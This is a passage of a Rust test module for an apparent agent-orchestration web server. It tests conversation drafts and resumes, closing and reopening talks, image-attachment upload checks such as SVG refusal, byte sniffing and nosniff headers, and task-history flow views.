15133                fresh.pending,
15134                fresh.turns.len()
15135            );
15136        }
15137    }
15138
15139    #[tokio::test]
15140    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15141        let (_tmp, _repo, f) = talk_fixture().await;
15142        let id = f.post("/api/talks", None).await.json()["id"]
15143            .as_str()
15144            .expect("id")
15145            .to_owned();
15146        let store = f.talks();
15147        let mut recovered = store.get(&id).expect("opened talk");
15148        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15149            .expect("persist pending draft without a live turn");
15150
15151        let edited = f
15152            .post(
15153                &format!("/api/talks/{id}/pending/edit"),
15154                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15155            )
15156            .await;
15157        assert_eq!(edited.status, 200, "{}", edited.body);
15158        assert!(edited.json()["thinking"].as_bool().unwrap());
15159
15160        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15161        for _ in 0..SETTLE_STEPS {
15162            if detail["turns"].as_array().expect("turns").len() == 2 {
15163                break;
15164            }
15165            tokio::time::sleep(Duration::from_millis(10)).await;
15166            detail = f.get(&format!("/api/talks/{id}")).await.json();
15167        }
15168        let turns = detail["turns"].as_array().expect("turns");
15169        assert_eq!(
15170            turns.len(),
15171            2,
15172            "the recovered draft must run once: {detail}"
15173        );
15174        assert_eq!(turns[0]["body"], "corrected");
15175        assert_eq!(detail["pending"], "");
15176    }
15177
15178    #[tokio::test]
15179    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15180        let tmp = TempDir::new().expect("tempdir");
15181        let repo = tmp.path().join("repo");
15182        std::fs::create_dir_all(&repo).expect("repo dir");
15183        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15184        let f = Fixture::with_repo(repo).await;
15185        let id = f.post("/api/talks", None).await.json()["id"]
15186            .as_str()
15187            .expect("id")
15188            .to_owned();
15189        let store = f.talks();
15190        let mut recovered = store.get(&id).expect("opened talk");
15191        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15192            .expect("persist pending draft without a live turn");
15193
15194        let refused = f
15195            .post(
15196                &format!("/api/talks/{id}/say"),
15197                Some(r#"{"text":"new message"}"#),
15198            )
15199            .await;
15200        assert_eq!(refused.status, 409, "{}", refused.body);
15201        assert!(refused.body.contains("resume"), "{}", refused.body);
15202        let saved = store.get(&id).expect("draft remains after refusal");
15203        assert!(saved.turns.is_empty());
15204        assert_eq!(saved.pending, "saved before restart");
15205
15206        let say_path = format!("/api/talks/{id}/say");
15207        let (first, second) = tokio::join!(
15208            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15209            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15210        );
15211        assert_eq!(first.status, 409, "{}", first.body);
15212        assert_eq!(second.status, 409, "{}", second.body);
15213        let saved = store
15214            .get(&id)
15215            .expect("draft remains after concurrent refusals");
15216        assert!(saved.turns.is_empty());
15217        assert_eq!(saved.pending, "saved before restart");
15218
15219        let resumed = f
15220            .post(&format!("/api/talks/{id}/pending/resume"), None)
15221            .await;
15222        assert_eq!(resumed.status, 202, "{}", resumed.body);
15223        let duplicate = f
15224            .post(&format!("/api/talks/{id}/pending/resume"), None)
15225            .await;
15226        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15227
15228        for _ in 0..SETTLE_STEPS {
15229            if store.get(&id).expect("talk").turns.len() == 2 {
15230                break;
15231            }
15232            tokio::time::sleep(Duration::from_millis(10)).await;
15233        }
15234        let finished = store.get(&id).expect("finished talk");
15235        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15236        assert_eq!(finished.turns[0].body, "saved before restart");
15237        assert!(finished.pending.is_empty());
15238    }
15239
15240    #[tokio::test]
15241    async fn an_image_only_recovered_draft_resumes_without_text() {
15242        let (_tmp, _repo, f) = talk_fixture().await;
15243        let id = f.post("/api/talks", None).await.json()["id"]
15244            .as_str()
15245            .expect("id")
15246            .to_owned();
15247        let uploaded = f
15248            .post_bytes(
15249                &format!("/api/talks/{id}/attachments"),
15250                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15251                PNG_BYTES,
15252            )
15253            .await;
15254        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15255        let attachment = f
15256            .talks()
15257            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15258            .expect("attachment metadata")
15259            .expect("stored attachment");
15260        let store = f.talks();
15261        let mut recovered = store.get(&id).expect("opened talk");
15262        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15263
15264        let resumed = f
15265            .post(&format!("/api/talks/{id}/pending/resume"), None)
15266            .await;
15267        assert_eq!(resumed.status, 202, "{}", resumed.body);
15268        for _ in 0..SETTLE_STEPS {
15269            if store.get(&id).expect("talk").turns.len() == 2 {
15270                break;
15271            }
15272            tokio::time::sleep(Duration::from_millis(10)).await;
15273        }
15274        let finished = store.get(&id).expect("finished talk");
15275        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15276        assert!(finished.turns[0].body.is_empty());
15277        assert_eq!(finished.turns[0].attachments.len(), 1);
15278        assert!(finished.pending_attachments.is_empty());
15279    }
15280
15281    #[tokio::test]
15282    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15283        let (_tmp, _repo, f) = talk_fixture().await;
15284        let id = f.post("/api/talks", None).await.json()["id"]
15285            .as_str()
15286            .expect("id")
15287            .to_owned();
15288        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15289        assert_eq!(closed.status, 200, "{}", closed.body);
15290        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15291            .expect("serialize closed talk");
15292        for (path, body) in [
15293            (format!("/api/talks/{id}/pending/resume"), None),
15294            (
15295                format!("/api/talks/{id}/pending/clear"),
15296                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15297            ),
15298            (
15299                format!("/api/talks/{id}/pending/edit"),
15300                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15301            ),
15302            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15303        ] {
15304            let response = f.post(&path, body).await;
15305            assert_eq!(response.status, 409, "{}", response.body);
15306        }
15307        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15308            .expect("serialize closed talk");
15309        assert_eq!(
15310            after_clear, before_clear,
15311            "clear must not rewrite a closed talk"
15312        );
15313    }
15314
15315    /// Keeps both claims observable long enough to exercise the distinction
15316    /// between one busy talk and a globally locked Chat surface.
15317    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15318
15319    #[tokio::test]
15320    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15321        let tmp = TempDir::new().expect("tempdir");
15322        let repo = tmp.path().join("repo");
15323        std::fs::create_dir_all(&repo).expect("repo dir");
15324        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15325        let f = Fixture::with_repo(repo).await;
15326        let id_a = f.post("/api/talks", None).await.json()["id"]
15327            .as_str()
15328            .unwrap()
15329            .to_owned();
15330        let id_b = f.post("/api/talks", None).await.json()["id"]
15331            .as_str()
15332            .unwrap()
15333            .to_owned();
15334
15335        let a = f
15336            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15337            .await;
15338        assert_eq!(a.status, 202, "{}", a.body);
15339        assert_eq!(a.json()["thinking"], true);
15340        let b = f
15341            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15342            .await;
15343        assert_eq!(b.status, 202, "{}", b.body);
15344        assert_eq!(b.json()["thinking"], true);
15345
15346        let listed = f.get("/api/talks").await.json();
15347        for id in [&id_a, &id_b] {
15348            let view = listed
15349                .as_array()
15350                .unwrap()
15351                .iter()
15352                .find(|talk| talk["id"] == *id)
15353                .unwrap();
15354            assert_eq!(view["thinking"], true, "{listed}");
15355        }
15356        let repeated = f
15357            .post(
15358                &format!("/api/talks/{id_a}/say"),
15359                Some(r#"{"text":"again"}"#),
15360            )
15361            .await;
15362        assert_eq!(repeated.status, 202, "{}", repeated.body);
15363        assert_eq!(repeated.json()["pending"], "again");
15364    }
15365
15366    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15367    /// few more, since real uploads are never exactly eight bytes.
15368    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15369
15370    #[tokio::test]
15371    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15372        let f = Fixture::start().await;
15373        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15374
15375        let res = f
15376            .post_bytes(
15377                &format!("/api/talks/{id}/attachments"),
15378                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15379                PNG_BYTES,
15380            )
15381            .await;
15382        assert_eq!(res.status, 201, "{}", res.body);
15383        let body = res.json();
15384        assert_eq!(body["name"], "shot.png");
15385        assert_eq!(body["mime"], "image/png");
15386        assert_eq!(body["bytes"], PNG_BYTES.len());
15387        let att_id = body["id"].as_str().expect("id").to_owned();
15388        assert_eq!(
15389            att_id.len(),
15390            32,
15391            "the id must never be a client-suppliable path: {att_id}"
15392        );
15393
15394        let got = f
15395            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15396            .await;
15397        assert_eq!(got.status, 200, "{}", got.body);
15398        assert_eq!(got.header("content-type"), Some("image/png"));
15399        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15400        assert_eq!(got.bytes, PNG_BYTES);
15401    }
15402
15403    #[tokio::test]
15404    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15405        let f = Fixture::start().await;
15406        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15407
15408        // SVG can carry a `<script>`, so it is never on the whitelist even
15409        // though it is a real IANA image type.
15410        let svg = f
15411            .post_bytes(
15412                &format!("/api/talks/{id}/attachments"),
15413                &[("Content-Type", "image/svg+xml")],
15414                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15415            )
15416            .await;
15417        assert!(
15418            (400..500).contains(&svg.status),
15419            "svg must be refused: {} {}",
15420            svg.status,
15421            svg.body
15422        );
15423        assert!(svg.body.contains("SVG"), "{}", svg.body);
15424
15425        let text = f
15426            .post_bytes(
15427                &format!("/api/talks/{id}/attachments"),
15428                &[("Content-Type", "text/plain")],
15429                b"just some text",
15430            )
15431            .await;
15432        assert!(
15433            (400..500).contains(&text.status),
15434            "an unlisted type must be refused: {} {}",
15435            text.status,
15436            text.body
15437        );
15438
15439        // The declared type is a real png, but the size check runs before
15440        // the bytes are even looked at.
15441        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15442        let big = f
15443            .post_bytes(
15444                &format!("/api/talks/{id}/attachments"),
15445                &[("Content-Type", "image/png")],
15446                &oversized,
15447            )
15448            .await;
15449        assert_eq!(
15450            big.status,
15451            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15452            "{}",
15453            big.body
15454        );
15455    }
15456
15457    #[tokio::test]
15458    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15459        let f = Fixture::start().await;
15460        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15461
15462        // A whitelisted `Content-Type`, but bytes that are not actually a
15463        // png - the declared header alone is never trusted.
15464        let res = f
15465            .post_bytes(
15466                &format!("/api/talks/{id}/attachments"),
15467                &[("Content-Type", "image/png")],
15468                b"<html>not a picture</html>",
15469            )
15470            .await;
15471        assert!((400..500).contains(&res.status), "{}", res.body);
15472    }
15473
15474    #[tokio::test]
15475    async fn an_unknown_attachment_id_is_a_404() {
15476        let f = Fixture::start().await;
15477        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15478
15479        let res = f
15480            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15481            .await;
15482        assert_eq!(res.status, 404, "{}", res.body);
15483    }
15484
15485    #[tokio::test]
15486    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15487        let f = Fixture::start().await;
15488        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15489
15490        let uploaded = f
15491            .post_bytes(
15492                &format!("/api/talks/{id}/attachments"),
15493                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15494                PNG_BYTES,
15495            )
15496            .await;
15497        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15498        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15499
15500        let res = f
15501            .post(
15502                &format!("/api/talks/{id}/say"),
15503                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15504            )
15505            .await;
15506        assert_eq!(res.status, 202, "{}", res.body);
15507        let queued = res.json();
15508        let turns = queued["turns"].as_array().expect("turns array");
15509        assert_eq!(
15510            turns.len(),
15511            1,
15512            "an empty body with an attachment is still a turn: {queued}"
15513        );
15514        assert_eq!(turns[0]["who"], "operator");
15515        assert_eq!(turns[0]["body"], "");
15516        let atts = turns[0]["attachments"]
15517            .as_array()
15518            .expect("attachments array");
15519        assert_eq!(atts.len(), 1);
15520        assert_eq!(atts[0]["id"], att_id);
15521        assert_eq!(atts[0]["mime"], "image/png");
15522
15523        // Not only in the response: `record` flushes to disk before the
15524        // agent's own turn is even spawned.
15525        let on_disk = f.talks().get(&id).expect("get");
15526        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15527        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15528    }
15529
15530    #[tokio::test]
15531    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15532        let f = Fixture::start().await;
15533        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15534
15535        let res = f
15536            .post(
15537                &format!("/api/talks/{id}/say"),
15538                Some(&format!(
15539                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15540                    "a".repeat(32)
15541                )),
15542            )
15543            .await;
15544        assert!((400..500).contains(&res.status), "{}", res.body);
15545        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15546
15547        let on_disk = f.talks().get(&id).expect("get");
15548        assert!(
15549            on_disk.turns.is_empty(),
15550            "a rejected attachment id must not partially record the turn: {:?}",
15551            on_disk.turns
15552        );
15553    }
15554
15555    #[tokio::test]
15556    async fn talk_close_makes_the_talk_refuse_further_turns() {
15557        let f = Fixture::start().await;
15558        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15559
15560        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15561        assert_eq!(closed.status, 200, "{}", closed.body);
15562        assert_eq!(closed.json()["status"], "closed");
15563
15564        // Idempotent: closing an already-closed talk is not an error.
15565        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15566        assert_eq!(closed_again.status, 200);
15567        assert_eq!(closed_again.json()["status"], "closed");
15568
15569        let said = f
15570            .post(
15571                &format!("/api/talks/{id}/say"),
15572                Some(r#"{"text":"too late"}"#),
15573            )
15574            .await;
15575        assert_eq!(said.status, 409, "{}", said.body);
15576    }
15577
15578    #[tokio::test]
15579    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15580        let (_tmp, _repo, f) = talk_fixture().await;
15581        let id = f.post("/api/talks", None).await.json()["id"]
15582            .as_str()
15583            .expect("id")
15584            .to_owned();
15585        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15586        assert_eq!(closed.status, 200, "{}", closed.body);
15587
15588        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15589        assert_eq!(reopened.status, 200, "{}", reopened.body);
15590        assert_eq!(reopened.json()["status"], "open");
15591
15592        // Idempotent: reopening an already-open talk is not an error.
15593        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15594        assert_eq!(reopened_again.status, 200);
15595        assert_eq!(reopened_again.json()["status"], "open");
15596
15597        let said = f
15598            .post(
15599                &format!("/api/talks/{id}/say"),
15600                Some(r#"{"text":"still there?"}"#),
15601            )
15602            .await;
15603        assert_eq!(
15604            said.status, 202,
15605            "a reopened talk accepts turns again: {}",
15606            said.body
15607        );
15608    }
15609
15610    #[tokio::test]
15611    async fn talk_reopen_on_an_unknown_id_is_404() {
15612        let f = Fixture::start().await;
15613        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15614        assert_eq!(res.status, 404, "{}", res.body);
15615    }
15616
15617    #[tokio::test]
15618    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15619        let f = Fixture::start().await;
15620        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15621
15622        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15623        assert_eq!(deleted.status, 204, "{}", deleted.body);
15624
15625        let after = f.get(&format!("/api/talks/{id}")).await;
15626        assert_eq!(after.status, 404, "{}", after.body);
15627
15628        let listed = f.get("/api/talks").await.json();
15629        assert!(
15630            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15631            "a deleted talk must not linger in the list: {listed}"
15632        );
15633    }
15634
15635    #[tokio::test]
15636    async fn talk_delete_on_an_unknown_id_is_404() {
15637        let f = Fixture::start().await;
15638        let res = f.delete("/api/talks/nonexistent-id").await;
15639        assert_eq!(res.status, 404, "{}", res.body);
15640    }
15641
15642    /// A task's page lists every run it ever had, in order, and says what kind
15643    /// of attempt each was - including a resume, which re-pushes the same run
15644    /// id, and a run whose record this build cannot read.
15645    #[tokio::test]
15646    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15647        let f = Fixture::start().await;
15648        let (a, b, gone) = (
15649            "20260902-140501-aaaa",
15650            "20260902-140502-bbbb",
15651            "20260902-140503-cccc",
15652        );
15653        write_run(&f.runs(), a, RunStatus::Stalled);
15654        let mut review = RunState::new(
15655            PathBuf::from("/repo/magi"),
15656            "main".to_owned(),
15657            "0123456789abcdef".to_owned(),
15658            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15659                .to_owned(),
15660            Config::default(),
15661        );
15662        review.id = b.to_owned();
15663        review.status = RunStatus::Merged;
15664        write_state(&f.runs(), &review);
15665
15666        let mut task = Task::new(
15667            "retry".to_owned(),
15668            "Do the thing".to_owned(),
15669            PathBuf::from("/repo/magi"),
15670            Source::Human,
15671        );
15672        task.start(a.to_owned());
15673        task.stall("quota");
15674        task.start(a.to_owned());
15675        task.start(b.to_owned());
15676        task.start(gone.to_owned());
15677        // This fixture models an older queue file with repeated run entries.
15678        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15679        f.queue().put(&mut task).expect("file the task");
15680
15681        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15682        assert_eq!(res.status, 200, "{}", res.body);
15683        let v = res.json();
15684        let h = v["history"].as_array().expect("history");
15685        assert_eq!(h.len(), 4, "{v}");
15686        assert_eq!(h[0]["kind"], "competition");
15687        assert_eq!(h[0]["status"], "stalled");
15688        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15689        assert_eq!(h[1]["kind"], "resume", "{v}");
15690        assert!(
15691            h[0]["outcome"]
15692                .as_str()
15693                .unwrap()
15694                .contains("unknown. Pass #2"),
15695            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15696        );
15697        assert!(
15698            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15699            "{v}"
15700        );
15701        assert!(
15702            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15703            "an unrecorded cause must not be narrated as an operator park: {v}"
15704        );
15705        assert_eq!(h[2]["kind"], "review");
15706        assert!(
15707            h[2]["description"]
15708                .as_str()
15709                .unwrap()
15710                .contains("magi/aaaa/A")
15711        );
15712        assert_eq!(h[2]["status"], "merged");
15713        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15714        assert_eq!(v["runs_unreadable"], 1);
15715        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15716        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15717        assert_eq!(nodes[4]["note"], "unreadable");
15718        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15719        assert_eq!(v["instruction"], "Do the thing");
15720        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15721
15722        // The run's own page links back to the task.
15723        let run = f.get(&format!("/api/runs/{a}")).await.json();
15724        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15725
15726        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15727    }
15728
15729    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15730        let mut s = RunState::new(
15731            PathBuf::from("/repo/magi"),
15732            "main".to_owned(),
15733            "0123456789abcdef".to_owned(),
15734            "Do it".to_owned(),
15735            Config::default(),
15736        );
15737        s.status = status;
15738        edit(&mut s);
15739        s
15740    }
15741
15742    fn flow_task(runs: &[&str]) -> Task {
15743        let mut t = Task::new(
15744            "t".to_owned(),
15745            "Do it".to_owned(),
15746            PathBuf::from("/repo/magi"),
15747            Source::Human,
15748        );
15749        for r in runs {
15750            t.start((*r).to_owned());
15751        }
15752        // Synthetic flows without RunPass records model legacy queue data.
15753        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15754        t
15755    }
15756
15757    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15758        let h = task_history(task, |id| {
15759            states
15760                .iter()
15761                .find(|(i, _)| *i == id)
15762                .and_then(|(_, s)| s.clone())
15763        });
15764        task_flow(task, &h, 5, None)
15765    }
15766
15767    #[test]
15768    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15769        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15770        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15771        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15772        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15773        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15774        let run = flow_run(RunStatus::Implementing, |s| {
15775            s.created_at = created;
15776            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15777            s.passes[0].started_at = first;
15778            s.passes[1].started_at = resumed;
15779        });
15780        let mut task = flow_task(&[RUN_X, RUN_X]);
15781        task.created_at = queued;
15782        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15783        task.status = TaskStatus::Held;
15784        task.held_at = Some(held);
15785        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15786        assert_eq!(
15787            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15788            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15789        );
15790        assert!(flow.nodes.iter().all(|n| n.time_expected));
15791        let json = serde_json::to_value(&flow).unwrap();
15792        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15793        assert_eq!(json["nodes"][2]["time_expected"], true);
15794    }
15795
15796    #[test]
15797    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15798        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15799        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15800        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15801        // These timestamps are not the start of the current status.
15802        task.held_at = Some(created);
15803        task.blocked_at = Some(created);
15804        for status in [
15805            TaskStatus::Queued,
15806            TaskStatus::Running,
15807            TaskStatus::Blocked,
15808            TaskStatus::Done,
15809            TaskStatus::Failed,
15810            TaskStatus::Parked,
15811            TaskStatus::Held,
15812        ] {
15813            task.status = status;
15814            if status == TaskStatus::Held {
15815                task.held_at = None;
15816            }
15817            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15818            assert_eq!(flow.nodes[1].started_at, Some(created));
15819            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15820            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15821            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15822            let json = serde_json::to_value(&flow).unwrap();
15823            assert!(json["nodes"][3]["started_at"].is_null());
15824            assert_eq!(json["nodes"][3]["time_expected"], true);
15825        }
15826    }
15827
15828    #[test]
15829    fn flow_context_links_do_not_expect_start_times() {
15830        let mut task = flow_task(&[]);
15831        task.source = Source::Agent {
15832            run: "chat-id".to_owned(),
15833            node: "chat".to_owned(),
15834        };
15835        let origin = followup_origin(&fu(None), |_| None, |_| None);
15836        let flow = task_flow(&task, &[], 5, Some(&origin));
15837        for node in &flow.nodes[..2] {
15838            assert!(!node.time_expected);
15839            assert_eq!(node.started_at, None);
15840        }
15841        assert!(flow.nodes[2].time_expected);
15842    }
15843
15844    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15845        crate::queue::FollowUp {
15846            run: "20260901-000000-aaaa".to_owned(),
15847            origin_task: origin_task.map(str::to_owned),
15848            pr: "https://example.com/o/r/pull/1".to_owned(),
15849            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15850                .map(str::to_owned)
15851                .to_vec(),
15852            generation: 1,
15853        }
15854    }
15855
15856    fn parent_task() -> Task {
15857        let mut p = flow_task(&[]);
15858        p.title = "Parent title".to_owned();
15859        p.status = TaskStatus::Done;
15860        p
15861    }
15862
15863    #[test]
15864    fn flow_opens_with_the_parent_task_of_a_followup() {
15865        let p = parent_task();
15866        let pid = p.id.clone();
15867        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15868        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15869        let n = &f.nodes[0];
15870        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15871        assert_eq!(
15872            n.label,
15873            format!("Follow-up of {}", crate::queue::short(&pid))
15874        );
15875        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15876        assert_eq!(n.status, Some("done"));
15877        assert_eq!(n.status_of, "task");
15878        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15879        assert_eq!(f.nodes[1].key, "start");
15880        assert_eq!(f.edges[0].from, "origin");
15881        assert_eq!(
15882            f.edges[0].label,
15883            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15884        );
15885    }
15886
15887    #[test]
15888    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15889        let o = followup_origin(
15890            &fu(Some("gone")),
15891            |_| None,
15892            |_| {
15893                Some(RunState::new(
15894                    std::path::PathBuf::from("."),
15895                    "main".to_owned(),
15896                    "0".to_owned(),
15897                    "t".to_owned(),
15898                    crate::config::Config::default(),
15899                ))
15900            },
15901        );
15902        assert!(o.parent.is_none());
15903        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15904        let n = &f.nodes[0];
15905        assert_eq!(n.status_of, "run");
15906        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15907        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15908    }
15909
15910    #[test]
15911    fn flow_followup_with_nothing_readable_has_no_link() {
15912        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15913        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15914        let n = &f.nodes[0];
15915        assert_eq!(n.href, None);
15916        assert_eq!(n.note, Some("unreadable"));
15917        assert!(!n.readable);
15918    }
15919
15920    #[test]
15921    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15922        let o = followup_origin(&fu(None), |_| None, |_| None);
15923        let mut t = flow_task(&[]);
15924        t.origin_chat = Some("c1".to_owned());
15925        let f = task_flow(&t, &[], 5, Some(&o));
15926        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15927        t.source = Source::Agent {
15928            run: "c1".to_owned(),
15929            node: crate::queue::CHAT_NODE.to_owned(),
15930        };
15931        let f = task_flow(&t, &[], 5, Some(&o));
15932        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15933        assert_eq!(
15934            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15935            ("chat", "origin")
15936        );
15937    }
15938
15939    #[test]
15940    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15941        let mut p = parent_task();
15942        p.id = "a b/c".to_owned();
15943        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15944        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15945    }
15946
15947    #[test]
15948    fn flow_opens_with_the_chat_that_queued_the_task() {
15949        let mut t = flow_task(&[]);
15950        t.source = Source::Agent {
15951            run: "a b/c".to_owned(),
15952            node: crate::queue::CHAT_NODE.to_owned(),
15953        };
15954        let f = flow_for(&t, &[]);
15955        assert_eq!(f.nodes[0].key, "chat");
15956        assert_eq!(f.nodes[0].kind, "chat");
15957        assert_eq!(
15958            f.nodes[0].label,
15959            format!("Chat {}", crate::queue::short("a b/c"))
15960        );
15961        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15962        assert_eq!(f.nodes[1].key, "start");
15963        assert_eq!(
15964            f.edges[0],
15965            FlowEdge {
15966                from: "chat".to_owned(),
15967                to: "start".to_owned(),
15968                label: "queued from chat".to_owned(),
15969                attempt: AttemptCost::None,
15970            }
15971        );
15972    }
15973
15974    #[test]
15975    fn flow_has_no_chat_box_for_other_sources() {
15976        for source in [
15977            Source::Human,
15978            Source::Issue {
15979                number: 3,
15980                repo: "o/r".to_owned(),
15981            },
15982            Source::Agent {
15983                run: "20260904-014455-ab12".to_owned(),
15984                node: "implement".to_owned(),
15985            },
15986        ] {
15987            let mut t = flow_task(&[]);
15988            t.source = source;
15989            let f = flow_for(&t, &[]);
15990            assert_eq!(f.nodes[0].key, "start");
15991            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
